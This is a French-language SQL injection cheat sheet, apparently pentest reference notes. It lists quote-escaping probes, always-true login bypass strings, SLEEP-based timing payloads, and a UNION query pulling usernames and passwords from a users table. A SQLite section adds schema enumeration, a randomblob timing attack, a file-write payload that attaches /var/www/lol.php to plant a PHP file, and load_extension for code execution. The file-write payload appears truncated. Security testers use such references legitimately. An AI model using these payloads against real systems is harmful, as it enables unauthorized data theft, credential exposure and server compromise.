# Fiche memo

**Détection Initiale des Points d'Entrée**

**Échappement des Caractères :**

```sql
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
```

* **Test de Caractères Spéciaux :**
  * **Injection de Quotes :**

    ```sql
    username=' OR '1'='1
    ```
  * **Injection de Commentaires :**

    ```sql
    username=' OR '1'='1--
    ```
* **Tests Booléens :**
  * **Conditions Toujours Vraies :**

    ```sql
    username=' OR '1'='1
    ```
  * **Conditions Toujours Fausses :**

    ```sql
    username=' AND '1'='2
    ```
* **Tests de Chargement Différé :**
  * **Attaques Basées sur le Temps :**

    ```sql
    username=' OR IF(1=1, SLEEP(5), 0)--
    ```
* **Tests de UNION :**
  * **Injection UNION :**

    ```sql
    ' UNION SELECT NULL, NULL, username, password FROM users--
    ```

#### **Commentaires** <a href="#comments" id="comments"></a>

```
MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments
```

## SQLite&#x20;

| **Objectif**                                 | **Requête/Commande**                                                                                                         | **Description**                                                                                                                                                                 |
| -------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Concatenation de chaînes**                 | \`                                                                                                                           |                                                                                                                                                                                 |
| **Commentaires**                             | `--`                                                                                                                         | Ajoute un commentaire sur une ligne dans SQL. Tout ce qui suit `--` sur la même ligne sera ignoré.                                                                              |
| **Conditions**                               | `CASE WHEN key='value1' THEN 'something' WHEN key='value2' THEN 'somethingelse'`                                             | Permet d'implémenter des conditions logiques dans une requête SQL. Utilisé pour appliquer des conditions spécifiques.                                                           |
| **Sous-chaînes**                             | `substr(string,start,stop)`                                                                                                  | Extrait une sous-chaîne de la chaîne `string`, commençant à `start` et finissant à `stop`.                                                                                      |
| **Longueur d'une chaîne**                    | `length(string)`                                                                                                             | Retourne la longueur de la chaîne `string`.                                                                                                                                     |
| **Quotes sans les guillemets littéraux**     | `cast(X'27' as text)` ; `cast(X'22' as text)`                                                                                | Utilisé pour représenter des apostrophes (`'`) et des guillemets (`"`) dans des chaînes littérales. `X'27'` représente l'apostrophe et `X'22'` le guillemet double.             |
| **Énumération des noms de tables**           | `' UNION SELECT name FROM sqlite_master WHERE type='table'` ;                                                                | Récupère les noms de toutes les tables dans la base de données.                                                                                                                 |
| **Énumération du schéma des tables**         | `' UNION SELECT sql FROM sqlite_master WHERE type='table'` ;                                                                 | Récupère les requêtes de création de toutes les tables, fournissant le schéma de chaque table.                                                                                  |
| **Extraction de données basée sur le temps** | `cond='true' AND 1=randomblob(100000000)` ;                                                                                  | Introduit un délai en fonction de la condition `cond`. Utilisé pour des attaques de temporisation.                                                                              |
| **Écriture de fichiers**                     | `1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES (‘’;--` | Écrit des données dans une base de données en attachant une nouvelle base de données et créant une table. Requiert l'accès direct à la base ou des options de requête empilées. |
| **Exécution de code arbitraire**             | `load_extension(library_file,entry_point)` ;                                                                                 | Charge une bibliothèque dynamique (`.dll` pour Windows, `.so` pour Unix) pour exécuter du code arbitraire. Requiert une configuration non par défaut.                           |
